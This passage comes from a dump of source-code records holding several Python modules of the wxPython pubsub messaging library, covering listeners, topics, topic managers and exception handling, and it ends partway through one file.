'sendMessage', \n \n # misc:\n 'PUBSUB_VERSION', 'logToStdOut', 'setLog', 'setupMsgTree',\n]\n\ndef subscribe(listener, MsgClass, id=None):\n '''DEPRECATED (use MsgClass.subscribe() instead). Subscribe \n listener to messages of type MsgClass. \n If id is given, it is used to identify the listener in a more \n human-readable fashion in log messages. Note that log messages \n are only produced if setLog() was given a non-null writer. '''\n MsgClass.subscribe(listener, id)\n\n\ndef unsubscribe(listener, MsgClass, id=None):\n '''DEPRECATED (use MsgClass.subscribe() instead). Unsubscribe \n listener to messages of type MsgClass. \n If id is given, it is used to identify the listener in a more \n human-readable fashion in log messages. Note that log messages \n are only produced if setLog() was given a non-null writer. '''\n MsgClass.unsubscribe(listener, id)\n\n\ndef sendMessage(msg, id=None):\n '''Send a message to its registered listeners. The msg is an instance of \n class derived from Message. If id is given, it is used to identify the \n sender in a more human-readable fashion in log messages. Note that log \n messages are only produced if setLog() was given a non-null writer. Note\n also that all listener exceptions are caught, so that all listeners get\n a chance at receiving the message. Once all \n listeners have been sent the message, a ListenerException will be raised\n containing a list of all exceptions raised during the send.''' \n msg.send(id)\n\n\nclass ExcInfo:\n '''Represent an exception raised by a listener. It contains the info \n returned by sys.exc_info() (self.type, self.arg, self.traceback), as\n well as the sender ID (self.senderID), and ID of listener that raised \n the exception (self.listenerID).'''\n def __init__(self, senderID, listenerID, excInfo):\n self.type = excInfo[0] # class of exception\n self.arg = excInfo[1] # value given to constructor\n self.traceback = excInfo[2] # traceback\n self.senderID = senderID or 'anonymous' # id of sender for which raised\n self.listenerID = listenerID # id of listener in which raised\n \n def __str__(self):\n '''Regular stack-trace message'''\n return ''.join(traceback.format_exception(\n self.type, self.arg, self.traceback))\n\n\nclass ListenerError(RuntimeError):\n '''Gets raised when one or more listeners raise an exception\n while they receive a message. \n An attribute `exceptions` is a list of ExcInfo objects, one for each \n exception raised.'''\n def __init__(self, exceps):\n self.exceptions = exceps\n RuntimeError.__init__(self, '%s exceptions raised' % len(exceps))\n def getTracebacks(self):\n '''Get a list of strings, one for each exception's traceback'''\n return [str(ei) for ei in self.exceptions]\n def __str__(self):\n '''Create one long string, where tracebacks are separated by ---'''\n sep = '\\n%s\\n\\n' % ('-'*15)\n return sep.join( self.getTracebacks() )\n\n\n# the logger used by all text output; defaults to null logger\n_log = None\n\n\ndef setLog(writer):\n '''Set the logger used by this module. The 'writer' must be a \n callable taking one argument (a text string to be logged), \n or an object that has a write() method, or None to turn off logging. \n If this function is not called, no logging occurs. Setting a logger\n may be useful to help discover when certain messages are sent but \n not received, etc. '''\n global _log\n if callable(writer):\n _log = writer\n elif writer is not None:\n _log = writer.write\n else:\n _log = None\n \n\ndef logToStdOut():\n '''Shortcut for import sys; setLog(sys.stdout). '''\n import sys\n setLog(sys.stdout)\n\n\ndef setupMsgTree(RootClass, yourModuleLocals=None):\n '''Call this function to setup your message module for use by pubsub2. \n The RootClass is your class (derived from Message) that is at the root\n of your message tree. The yourModuleLocals, if given, should be \n locals(). E.g.\n \n #yourMsgs.py:\n import pubsub2 as ps\n class A(ps.Message):\n class B(ps.Message):\n pass\n ps.setupMsgTree(A, locals())\n \n The above does two things: 1. when a message of type B eventually\n gets sent, listeners for messages of type A will also receive it \n since A is more generic than B; 2. when a module does \n \"import yourMsgs\", that module sees pubsub2's functions and \n classes as though they were in yourMsgs.py, so you can write\n e.g. \"yourMsgs.sendMessage()\" rather than \"yourMsgs.pubsub2.sendMessage()\"\n or \"import pubsub2; pubsub2.sendMessage()\". '''\n RootClass._setupChaining()\n if yourModuleLocals is not None:\n gg = [(key, val) for key, val in globals().iteritems() \n if not key.startswith('_') and key not in ('setupMsgTree','weakmethod')]\n yourModuleLocals.update(dict(gg))\n\n\nclass Listener:\n '''\n Represent a listener of messages of a given class. An identifier \n string can accompany the callback, it will be used in text messages.\n Note that callback must give callable(callback) == True.\n Note also that two Listener object compare as equal if they \n are for the same callback, regardless of id: \n >>> Listener(cb, 'id1') == Listener(cb, 'id2')\n True\n '''\n \n def __init__(self, callback, id=None):\n assert callable(callback), '%s is not callable' % callback\n self.__callable = weakmethod.getWeakRef(callback)\n self.id = id\n self.weakID = str(self) # save this now in case callable weak ref dies\n \n def getCallable(self):\n '''Get the callback that was given at construction. Note that \n this could be None if it no longer exists in system (if it was \n created as a wrapper of some other callable, and not stored \n locally).'''\n return self.__callable()\n \n def __call__(self, *args, **kwargs):\n cb = self.__callable()\n if cb:\n cb(*args, **kwargs)\n else:\n msg = 'Callback %s no longer exists (maybe it was wrapped?)' % self.weakID\n raise RuntimeError(msg)\n \n def __eq__(self, rhs):\n return self.__callable() == rhs.__callable()\n \n def __str__(self):\n '''String rep is the id, if given, or if not, the str(callback)'''\n return self.id or str(self.__callable())\n\n\nclass Message:\n '''\n Represent a message to be sent from a sender to a listener. \n This class should be derived, and the derived class should \n be documented, to help explain the message and its data. \n E.g. provide a documented __init__() to help explain the data\n carried by the message, the purpose of this type of message, etc.\n '''\n \n _listeners = None # class-wide registry of listeners\n _parentClass = None # class-wide parent of messages of our type\n _type = 'Message' # a string for type\n _childrenClasses = None # keep track of children\n \n def __init__(self, subTopic=None, **kwargs):\n '''The kwargs will be given to listener callback when \n message delivered. Subclasses of Message can define an __init__\n that has specific attributes to better document the message\n data.'''\n self.__kwargs = kwargs\n self.subTopic = subTopic\n \n def __getattr__(self, name):\n if name not in self.__kwargs:\n raise AttributeError(\"%s instance has no attribute '%s'\" \\\n % (self.__class__.__name__, name))\n return self.__kwargs[name]\n\n def send(self, senderID=None):\n '''Send this instance to registered listeners, including listeners\n of more general versions of this message topic. If any listener raises\n an exception, a ListenerError is raised after all listeners have been\n sent the message. The senderID is used in logged output (if setLog() \n was called) and in ListenerError. '''\n exceps = self.__deliver(senderID)\n \n # make parents up chain send with same data\n ParentCls = self._parentClass\n while ParentCls is not None:\n subTopic = self.subTopic or self.__class__\n msg = ParentCls(subTopic=subTopic, **self.__kwargs)\n ParentCls, exceptInfo = msg.sendSpecific(senderID)\n exceps.extend(exceptInfo)\n \n if exceps:\n raise ListenerError(exceps)\n \n def sendSpecific(self, senderID=None):\n '''Send self to registered listeners, but don't \"continue up the \n message tree\", ie listeners of more general versions of this topic\n will not receive the message. See send() for description of senderID.\n Returns self's parent message class and a list of exceptions \n raised by listeners.'''\n exceptInfo = self.__deliver(senderID)\n return self._parentClass, exceptInfo\n \n def __deliver(self, senderID):\n '''Do the actual message delivery. Logs output if setLog() was \n called, and accumulates exception information.'''\n if not self._listeners:\n if _log and senderID: \n _log( 'No listeners of %s for sender \"%s\"\\n' \n % (self.getType(), senderID) )\n return []\n \n if _log and senderID:\n _log( 'Message of type %s from sender \"%s\" should reach %s listeners\\n'\n % (self.getType(), senderID, len(self._listeners)) )\n \n received = 0\n exceptInfo = []\n for listener in self._listeners:\n if _log and (senderID or listener.id):\n _log( 'Sending message from sender \"%s\" to listener \"%s\"\\n' \n % (senderID or 'anonymous', str(listener)))\n \n try:\n listener(self)\n received += 1\n except Exception:\n excInfo = ExcInfo(senderID, str(listener), sys.exc_info())\n exceptInfo.append( excInfo )\n \n if _log and senderID:\n _log( 'Delivered message from sender \"%s\" to %s listeners\\n'\n % (senderID, received))\n \n return exceptInfo\n \n @classmethod \n def getType(cls):\n '''Return a string representing the type of this message, \n e.g. A.B.C.'''\n return cls._type\n \n @classmethod\n def hasListeners(cls):\n '''Return True only if at least one listener is registered \n for this class of messages.'''\n return cls._listeners is not None\n \n @classmethod\n def hasListenersAny(cls):\n '''Return True only if at least one listener is registered \n for this class of messages OR any of the more general topics.'''\n hasListeners = cls.hasListeners()\n parent = cls._parentClass\n while parent and not hasListeners:\n hasListeners = parent.hasListeners()\n parent = parent._parentClass\n return hasListeners\n \n @classmethod\n def countListeners(cls):\n '''Count how many listeners this class has registered'''\n if cls._listeners:\n return len(cls._listeners)\n return 0\n \n @classmethod\n def countAllListeners(cls):\n '''Count how many listeners will get this type of message'''\n count = cls.countListeners()\n parent = cls._parentClass\n while parent:\n count += parent.countListeners()\n parent = parent._parentClass\n return count\n\n @classmethod\n def subscribe(cls, who, id=None):\n '''Subscribe `who` to messages of our class.'''\n if _log and id:\n _log( 'Subscribing %s to messages of type %s\\n' \n % (id or who, cls.getType()) )\n \n listener = Listener(who, id)\n if cls._listeners is None: \n cls._listeners = [listener]\n \n else:\n if listener in cls._listeners:\n idx = cls._listeners.index(listener)\n origListener = cls._listeners[idx]\n if listener.id != origListener.id:\n if _log:\n _log('Changing id of Listener \"%s\" to \"%s\"\\n' \n % (origListener.id or who, listener.id or 'anonymous'))\n origListener.id = listener.id\n \n elif _log and listener.id:\n _log( 'Listener %s already subscribed (as \"%s\")\\n' % (who, id) )\n \n else:\n cls._listeners.append( listener )\n \n @classmethod\n def unsubscribe(cls, listener):\n '''Unsubscribe the given listener (given as `who` in subscribe()).\n Does nothing if listener not registered. Unsubscribes all direct \n listeners if listener is the string 'all'. '''\n if listener == 'all':\n cls._listeners = None\n if _log: \n _log('Unsubscribed all listeners')\n return \n \n ll = Listener(listener)\n try:\n idx = cls._listeners.index(ll)\n llID = cls._listeners[idx].id\n del cls._listeners[idx]\n except ValueError:\n if _log:\n _log('Could not unsubscribe listener \"%s\" from %s' \\\n % (llID or listener, cls._type))\n else:\n if _log:\n _log('Unsubscribed listener \"%s\"' % llID or listener)\n \n @classmethod\n def clearSubscriptions(cls):\n '''Unsubscribe all listeners of this message type. Same as \n unsubscribe('all').'''\n cls.unsubscribe('all')\n \n '''Remove all registered listeners from this type of message'''\n cls._listeners = None\n\n @classmethod\n def getListeners(cls):\n '''Get a list of listeners for this message class. Each \n item is an instance of Listener.'''\n #_log( 'Listeners of %s: %s' % (cls, cls._listeners) )\n if not cls._listeners:\n return []\n return cls._listeners[:] # return a copy!\n \n @classmethod\n def getAllListeners(cls):\n '''This returns all listeners that will be notified when a send()\n is done on this message type. The return is a dictionary where \n key is message type, and value is the list of listeners registered \n for that message type. E.g. A.B.getAllListeners() returns \n `{['A':[lis1,lis2],'A.B':[lis3]}`.''' \n ll = {}\n ll[cls._type] = cls.getListeners()\n parent = cls._parentClass\n while parent:\n parentLL = parent.getListeners()\n if parentLL:\n ll[parent._type] = parentLL\n parent = parent._parentClass\n return ll\n \n @classmethod\n def _setupChaining(cls, parents=None):\n '''Chain all the message classes children of cls so that, when a \n message of type 'cls.childA.subChildB' is sent, listeners of \n type cls.childA and of type cls get it too. '''\n # parent:\n if parents:\n cls._parentClass = parents[-1]\n lineage = parents[:] + [cls]\n cls._type = '.'.join(item.__name__ for item in lineage)\n if _log:\n _log( '%s will chain up to %s\\n' \n % (cls._type, cls._parentClass.getType()) )\n else:\n cls._parentClass = None\n lineage = [cls]\n cls._type = cls.__name__\n if _log:\n _log( '%s is at root (top) of messaging tree\\n' % cls._type )\n \n # go down into children:\n cls._childrenClasses = []\n for childName, child in vars(cls).iteritems():\n if (not childName.startswith('_')) and issubclass(child, Message):\n cls._childrenClasses.append(child)\n child._setupChaining(lineage)\n\n\n\n#---------------------------------------------------------------------------\n\nimport pubsubconf\npubsubconf.pubModuleLoaded()\ndel pubsubconf\n", "id": "10880978", "language": "Python", "matching_score": 4.439591884613037, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/pubsub2/pub.py" }, { "content": "'''\nSome utility classes for exception handling of exceptions raised\nwithin listeners:\n\n- IExcHandler: base class for any handler that would be given to\n pub.setListenerExcHandler(). The derived class will probably\n want to make use of TracebackInfo.\n- TracebackInfo: convenient way of getting stack trace of latest\n exception raised. The handler can create the instance to retrieve\n the stack trace and then log it, present it to user, etc.\n- ExcPublisher: example handler that publishes a message containing\n traceback info\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\n\nimport sys, traceback\n\n\nclass TracebackInfo:\n '''\n Represent the traceback information for when an exception is \n raised -- but not caught -- in a listener. The complete \n traceback cannot be stored since this leads to circular \n references (see docs for sys.exc_info()) which keeps \n listeners alive even after the application is no longer \n referring to them. \n \n Instances of this object are given to listeners of the \n 'uncaughtExcInListener' topic as the excTraceback kwarg.\n The instance calls sys.exc_info() to get the traceback\n info but keeps only the following info: \n \n * self.ExcClass: the class of exception that was raised and not caught\n * self.excArg: the argument given to exception when raised\n * self.traceback: list of quadruples as returned by traceback.extract_tb()\n \n Normally you just need to call one of the two getFormatted() methods. \n '''\n def __init__(self):\n tmpInfo = sys.exc_info()\n self.ExcClass = tmpInfo[0]\n self.excArg = tmpInfo[1]\n # for the traceback, skip the first 3 entries, since they relate to\n # implementation details for pubsub. \n self.traceback = traceback.extract_tb(tmpInfo[2])[3:]\n # help avoid circular refs\n del tmpInfo\n\n def getFormattedList(self):\n '''Get a list of strings as returned by the traceback module's\n format_list() and format_exception_only() functions.'''\n tmp = traceback.format_list(self.traceback)\n tmp.extend( traceback.format_exception_only(self.ExcClass, self.excArg) )\n return tmp\n \n def getFormattedString(self):\n '''Get a string similar to the stack trace that gets printed \n to stdout by Python interpreter when an exception is not caught.'''\n return ''.join(self.getFormattedList())\n\n def __str__(self):\n return self.getFormattedString()\n\n\nclass IExcHandler:\n '''\n Interface class for the exception handler. Such handler is called\n whenever a listener raises an exception during a pub.sendMessage().\n You may give an instance of a class derived from IExcHandler to \n pub.setListenerExcHandler(). Example::\n\n from pubsub.utils.exchandling import IExcHandler\n class MyHandler(IExcHandler):\n def __call__(self, listenerID, topicObj):\n ... do something with listenerID ...\n '''\n def __call__(self, listenerID, topicObj):\n raise NotImplementedError('%s must override __call__()' % self.__class__)\n\n\nclass ExcPublisher(IExcHandler):\n '''\n Example exception handler that simply publishes the exception traceback.\n The topic used will be self.topicUncaughtExc.\n '''\n\n # name of the topic\n topicUncaughtExc = 'uncaughtExcInListener'\n\n def __init__(self, topicMgr=None):\n '''If topic manager is specified, will automatically call init().\n Otherwise, caller must call init() after pubsub imported. See\n pub.setListenerExcHandler().'''\n if topicMgr is not None:\n self.init(topicMgr)\n\n def init(self, topicMgr):\n '''Must be called only after pubsub has been imported since this\n handler creates a pubsub topic.'''\n obj = topicMgr.getOrCreateTopic(self.topicUncaughtExc)\n obj.setDescription('generated when a listener raises an exception')\n obj.setMsgArgSpec( dict(\n listenerStr = 'string representation of listener',\n excTraceback = 'instance of TracebackInfo containing exception info'))\n self.__topicObj = obj\n \n def __call__(self, listenerID, topicObj):\n '''Handle the exception raised by given listener. Send the\n Traceback to all subscribers of topic self.topicUncaughtExc. '''\n tbInfo = TracebackInfo()\n self.__topicObj.publish(listenerStr=listenerID, excTraceback=tbInfo)\n\n\n", "id": "8749595", "language": "Python", "matching_score": 4.056222438812256, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/utils/exchandling.py" }, { "content": "'''\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nfrom topicutils import stringize\n\n\nclass ListenerNotValidatable(RuntimeError):\n '''\n Raised when an attempt is made to validate a listener relative to a \n topic that doesn't have (yet) a Listener Protocol Specification.\n '''\n def __init__(self):\n msg = 'Topics args not set yet, cannot validate listener'\n RuntimeError.__init__(self, msg)\n\n\nclass UndefinedTopic(RuntimeError):\n '''\n Raised when an attempt is made to retrieve a Topic object\n for a topic name that hasn't yet been created.\n '''\n def __init__(self, topicName, msgFormat=None):\n if msgFormat is None:\n msgFormat = 'Topic \"%s\" doesn\\'t exist'\n RuntimeError.__init__(self, msgFormat % topicName)\n\n\nclass UndefinedSubtopic(UndefinedTopic):\n '''\n Raised when an attempt is made to retrieve a Topic object\n for a subtopic name that hasn't yet been created within\n its parent topic.\n '''\n def __init__(self, parentName, subName):\n msgFormat = 'Topic \"%s\" doesn\\'t have \"%%s\" as subtopic' % parentName\n UndefinedTopic.__init__(self, subName, msgFormat)\n\n\nclass ListenerSpecIncomplete(RuntimeError):\n '''\n Raised when an attempt is made to create a topic for which\n a specification is not available, but pub.setTopicUnspecifiedFatal()\n was called.\n '''\n def __init__(self, topicNameTuple):\n msg = \"No topic specification for topic '%s'.\" \\\n % stringize(topicNameTuple)\n RuntimeError.__init__(self, msg +\n \" See pub.getOrCreateTopic(), pub.addTopicDefnProvider(), and/or pub.setTopicUnspecifiedFatal()\")\n\n\nclass ListenerSpecInvalid(RuntimeError):\n '''\n Raised when an attempt is made to define a topic's Listener Protocol\n Specification to something that is not valid.\n\n The argument names that are invalid can be put in the 'args' list,\n and the msg should say what is the problem and contain \"%s\" for the\n args, such as ListenerSpecInvalid('duplicate args %s', ('arg1', 'arg2')).\n '''\n\n def __init__(self, msg, args):\n argsMsg = msg % ','.join(args)\n RuntimeError.__init__(self, 'Invalid listener spec: ' + argsMsg)\n\n\nclass ExcHandlerError(RuntimeError):\n '''\n When an exception gets raised within some listener during a\n sendMessage(), the registered handler (see pub.setListenerExcHandler())\n gets called (via its __call__ method) and the send operation can\n resume on remaining listeners. However, if the handler itself\n raises an exception while it is being called, the send operation\n must be aborted: an ExcHandlerError exception gets raised.\n '''\n\n def __init__(self, badExcListenerID, topicObj, origExc=None):\n '''The badExcListenerID is the name of the listener that raised\n the original exception that handler was attempting to handle.\n The topicObj is the pub.Topic object for the topic of the\n sendMessage that had an exception raised. \n The origExc is currently not used. '''\n self.badExcListenerID = badExcListenerID\n import traceback\n self.exc = traceback.format_exc()\n msg = 'The exception handler registered with pubsub raised an ' \\\n + 'exception, *while* handling an exception raised by listener ' \\\n + ' \"%s\" of topic \"%s\"):\\n%s' \\\n % (self.badExcListenerID, topicObj.getName(), self.exc)\n RuntimeError.__init__(self, msg)\n\n\n", "id": "1911255", "language": "Python", "matching_score": 2.7692513465881348, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/topicexc.py" }, { "content": "'''\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nfrom topicexc import ListenerSpecInvalid\n\n\ndef verifyArgsDifferent(allArgs, allParentArgs, topicName):\n extra = set(allArgs).intersection(allParentArgs)\n if extra:\n msg = 'Args %%s already used in parent of \"%s\"' % topicName\n raise ListenerSpecInvalid( msg, tuple(extra) )\n\n\ndef verifySubset(all, sub, topicName, extraMsg=''):\n '''Verify that sub is a subset of all for topicName'''\n notInAll = set(sub).difference(all)\n if notInAll:\n args = ','.join(all)\n msg = 'Params [%s] missing inherited [%%s] for topic \"%s\"%s' % (args, topicName, extraMsg)\n raise ListenerSpecInvalid(msg, tuple(notInAll) )\n\n\n", "id": "6381491", "language": "Python", "matching_score": 1.8716529607772827, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/validatedefnargs.py" }, { "content": "'''\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nfrom callables import \\\n getID, getArgs, getRawFunction,\\\n ListenerInadequate, \\\n CallArgsInfo\n\nfrom listenerimpl import Listener, ListenerValidator\n\n", "id": "1982888", "language": "Python", "matching_score": 1.456659197807312, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/listener.py" }, { "content": "'''\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\ndef getRootTopicSpec():\n '''If using kwargs protocol, then root topic takes no args.'''\n argsDocs = {}\n reqdArgs = ()\n return argsDocs, reqdArgs\n\n", "id": "4236112", "language": "Python", "matching_score": 1.3873045444488525, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/kwargs/topicmgrimpl.py" }, { "content": "'''\nEverything regarding the concept of topic. \n\nNote that name \ncan be in the 'dotted' format 'topic.sub[.subsub[.subsubsub[...]]]' \nor in tuple format ('topic','sub','subsub','subsubsub',...). E.g.\n'nasa.rocket.apollo13' or ('nasa', 'rocket', 'apollo13').\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\n__all__ = [\n 'TopicManager',\n 'UndefinedTopic',\n 'ListenerSpecIncomplete',\n 'UndefinedSubtopic']\n\n\nfrom callables import getID\nfrom topicutils import ALL_TOPICS, \\\n tupleize, stringize\n\nfrom topicexc import \\\n UndefinedTopic, \\\n ListenerSpecIncomplete\n\nfrom topicargspec import \\\n ArgSpecGiven, \\\n ArgsInfo, \\\n topicArgsFromCallable\n\nfrom topicobj import \\\n Topic, \\\n UndefinedSubtopic\n\nfrom treeconfig import TreeConfig\nfrom topicdefnprovider import MasterTopicDefnProvider\nfrom topicmgrimpl import getRootTopicSpec\n\n\n# ---------------------------------------------------------\n\nARGS_SPEC_ALL = ArgSpecGiven.SPEC_GIVEN_ALL\nARGS_SPEC_NONE = ArgSpecGiven.SPEC_GIVEN_NONE\n\n\n# ---------------------------------------------------------\n\nclass TopicManager:\n '''\n Manages the registry of all topics and creation/deletion\n of topics.\n\n Note that all methods that start with an underscore are part\n of the private API.\n '''\n \n # Allowed return values for isTopicSpecified()\n TOPIC_SPEC_NOT_SPECIFIED = 0 # false\n TOPIC_SPEC_ALREADY_CREATED = 1 # all other values equate to \"true\" but different reason\n TOPIC_SPEC_ALREADY_DEFINED = 2\n\n\n def __init__(self, treeConfig=None):\n '''The optional treeConfig is an instance of TreeConfig. A\n default one is created if not given. '''\n self._allTopics = None # root of topic tree\n self._topicsMap = {} # registry of all topics\n self.__treeConfig = treeConfig or TreeConfig()\n self.__defnProvider = MasterTopicDefnProvider(self.__treeConfig)\n\n # define root of all topics\n assert self._allTopics is None\n argsDocs, reqdArgs = getRootTopicSpec()\n desc = 'Root of all topics'\n specGiven = ArgSpecGiven(argsDocs, reqdArgs)\n self._allTopics = self.__createTopic((ALL_TOPICS,), desc, specGiven=specGiven)\n\n def addDefnProvider(self, provider):\n '''Register provider as topic specification provider. Whenever a \n topic must be created, the first provider that has a specification\n for the created topic is used to initialize the topic. The given \n provider must be an object that has a getDescription(topicNameTuple)\n and getArgs(topicNameTuple) that return a description string \n and a pair (argsDocs, requiredArgs), respectively.\n\n Note that Nothing is done if provider already added. Returns how\n many providers have been registered, ie if new provider, will be\n 1 + last call's return, otherwise (provider had already been added)\n will be same as last call's return value.'''\n return self.__defnProvider.addProvider(provider)\n \n def clearDefnProviders(self):\n '''Remove all registered topic specification providers'''\n self.__defnProvider.clear()\n\n def getNumDefnProviders(self):\n return self.__defnProvider.getNumProviders()\n\n def getTopic(self, name, okIfNone=False):\n '''Get the Topic instance that corresponds to the given topic name \n path. By default, raises an UndefinedTopic or UndefinedSubtopic\n exception if a topic with given name doesn't exist. If\n raiseOnNone=False, returns None instead of raising an exception.'''\n topicNameDotted = stringize(name)\n #if not name:\n # raise TopicNameInvalid(name, 'Empty topic name not allowed')\n obj = self._topicsMap.get(topicNameDotted, None)\n if obj is not None:\n return obj\n\n if okIfNone:\n return None\n\n # NOT FOUND! Determine what problem is and raise accordingly:\n # find the closest parent up chain that does exists:\n parentObj, subtopicNames = self.__getClosestParent(topicNameDotted)\n assert subtopicNames\n \n subtopicName = subtopicNames[0]\n if parentObj is self._allTopics:\n raise UndefinedTopic(subtopicName)\n\n raise UndefinedSubtopic(parentObj.getName(), subtopicName)\n\n def newTopic(self, _name, _desc, _required=(), **_argDocs):\n '''Legacy method, kept for backwards compatibility. If topic\n _name already exists, just returns it and does nothing else.\n Otherwise, use getOrCreateTopic() to create it, then set its\n description (_desc) and its listener specification (_argDocs\n and _required). See getOrCreateTopic() for info on the listener\n spec.'''\n topic = self.getTopic(_name, True)\n if topic is None:\n topic = self.getOrCreateTopic(_name)\n topic.setDescription(_desc)\n topic.setMsgArgSpec(_argDocs, _required)\n return topic\n\n def getOrCreateTopic(self, name, protoListener=None):\n '''Get the topic object for topic of given name, creating it \n (and any of its missing parent topics) as necessary. This should\n be useful mostly to TopicManager itself.\n\n Topic creation: The topic definition will be obtained\n from the first registered TopicDefnProvider (see addTopicDefnProvider()\n method) that can provide it. If none is found, then protoListener,\n if given, will be used to extract the specification for the topic\n message arguments.\n \n So the topic object returned will be either\n 1. an existing one\n 2. a new one whose specification was obtained from a TopicDefnProvider\n 3. a new one whose specification was inferred from protoListener\n 4. a new one without any specification\n\n For the first three cases, the Topic is ready for sending messages.\n In the last case, topic.isSendable() is false and the specification\n will be set by the first call to subscribe() (unless you call\n topicObj.setMsgArgSpec() first to set it yourself).\n\n Note that if the topic gets created, missing intervening parents\n will be created with an empty specification. For instance, if topic\n A exists, and name=\"A.B.C\", then A.B will also be created. It will\n only be complete (sendable) if a topic definition provider had\n its definition.\n\n Note also that if protoListener given, and topic already defined,\n the method does not check whether protoListener adheres to the\n specification.'''\n obj = self.getTopic(name, okIfNone=True)\n if obj:\n # if object is not sendable but a proto listener was given,\n # update its specification so that it is sendable\n if (protoListener is not None) and not obj.isSendable():\n allArgsDocs, required = topicArgsFromCallable(protoListener)\n obj.setMsgArgSpec(allArgsDocs, required)\n return obj\n\n # create missing parents\n nameTuple = tupleize(name)\n parentObj = self.__createParentTopics(nameTuple)\n\n # now the final topic object, args from listener if provided\n desc, specGiven = self.__defnProvider.getDefn(nameTuple)\n # POLICY: protoListener is used only if no definition available\n if specGiven is None:\n if protoListener is None:\n desc = 'UNDOCUMENTED: created without spec'\n else:\n allArgsDocs, required = topicArgsFromCallable(protoListener)\n specGiven = ArgSpecGiven(allArgsDocs, required)\n desc = 'UNDOCUMENTED: created from protoListener \"%s\" in module %s' % getID(protoListener)\n\n return self.__createTopic(nameTuple, desc, parent = parentObj, specGiven = specGiven)\n\n def isTopicSpecified(self, name):\n '''Returns true if the topic has already been specified, false \n otherwise. If the return value is true, it is in fact an integer > 0 \n that says in what way it is specified: \n \n - TOPIC_SPEC_ALREADY_DEFINED: as a definition in one of the registered\n topic definition providers\n - TOPIC_SPEC_ALREADY_CREATED: as an object in the topic tree, having a \n complete specification\n \n So if caller just wants yes/no, just use return value as boolean as in\n\n if topicMgr.isTopicSpecified(name): pass\n\n but if reason matters, caller could use (for instance)\n\n if topicMgr.isTopicSpecified(name) == topicMgr.TOPIC_SPEC_ALREADY_DEFINED: pass\n\n NOTE: if a topic object of given 'name' exists in topic tree, but\n it does *not* have a complete specification, the return value will\n be false.\n '''\n alreadyCreated = self.getTopic(name, okIfNone=True)\n if alreadyCreated is not None and alreadyCreated.isSendable():\n return self.TOPIC_SPEC_ALREADY_CREATED\n\n # get definition from provider if required, or raise\n nameTuple = tupleize(name)\n if self.__defnProvider.isDefined(nameTuple):\n return self.TOPIC_SPEC_ALREADY_DEFINED\n\n return self.TOPIC_SPEC_NOT_SPECIFIED\n\n def checkAllTopicsSpecifed(self):\n '''Check all topics that have been created and raise a\n ListenerSpecIncomplete exception if one is found that does not \n have a listener specification. '''\n for topic in self._topicsMap.itervalues():\n if not topic.isSendable():\n raise ListenerSpecIncomplete(topic.getNameTuple())\n\n def delTopic(self, name):\n '''Undefines the named topic. Returns True if the subtopic was\n removed, false otherwise (ie the topic doesn't exist). Also\n unsubscribes any listeners of topic. Note that it must undefine\n all subtopics to all depths, and unsubscribe their listeners. '''\n # find from which parent the topic object should be removed\n dottedName = stringize(name)\n try:\n #obj = weakref( self._topicsMap[dottedName] )\n obj = self._topicsMap[dottedName]\n except KeyError:\n return False\n\n #assert obj().getName() == dottedName\n assert obj.getName() == dottedName\n # notification must be before deletion in case\n self.__treeConfig.notificationMgr.notifyDelTopic(dottedName)\n\n #obj()._undefineSelf_(self._topicsMap)\n obj._undefineSelf_(self._topicsMap)\n #assert obj() is None\n\n return True\n\n def getTopics(self, listener):\n '''Get the list of Topic objects that given listener has \n subscribed to. Keep in mind that the listener can get \n messages from sub-topics of those Topics.'''\n assocTopics = []\n for topicObj in self._topicsMap.values():\n if topicObj.hasListener(listener):\n assocTopics.append(topicObj)\n return assocTopics \n \n def __getClosestParent(self, topicNameDotted):\n '''Returns a pair, (closest parent, tuple path from parent). The\n first item is the closest parent topic that exists for given topic.\n The second one is the list of topic names that have to be created\n to create the given topic.\n\n So if topicNameDotted = A.B.C.D, but only A.B exists (A.B.C and\n A.B.C.D not created yet), then return is (A.B, ['C','D']).\n Note that if none of the branch exists (not even A), then return\n will be [root topic, ['A',B','C','D']). Note also that if A.B.C\n exists, the return will be (A.B.C, ['D']) regardless of whether\n A.B.C.D exists. '''\n subtopicNames = []\n headTail = topicNameDotted.rsplit('.', 1)\n while len(headTail) > 1:\n parentName = headTail[0]\n subtopicNames.insert( 0, headTail[1] )\n obj = self._topicsMap.get( parentName, None )\n if obj is not None:\n return obj, subtopicNames\n \n headTail = parentName.rsplit('.', 1)\n \n subtopicNames.insert( 0, headTail[0] )\n return self._allTopics, subtopicNames\n \n def __createParentTopics(self, topicName):\n '''This will find which parents need to be created such that\n topicName can be created (but doesn't create given topic),\n and creates them. Returns the parent object.'''\n assert self.getTopic(topicName, okIfNone=True) is None\n parentObj, subtopicNames = self.__getClosestParent(stringize(topicName))\n \n # will create subtopics of parentObj one by one from subtopicNames\n if parentObj is self._allTopics:\n nextTopicNameList = []\n else:\n nextTopicNameList = list(parentObj.getNameTuple())\n for name in subtopicNames[:-1]:\n nextTopicNameList.append(name)\n desc, specGiven = self.__defnProvider.getDefn( tuple(nextTopicNameList) )\n if desc is None:\n desc = 'UNDOCUMENTED: created as parent without specification'\n parentObj = self.__createTopic( tuple(nextTopicNameList),\n desc, specGiven = specGiven, parent = parentObj)\n \n return parentObj\n \n def __createTopic(self, nameTuple, desc, specGiven, parent=None):\n '''Actual topic creation step. Adds new Topic instance\n to topic map, and sends notification message (of topic \n 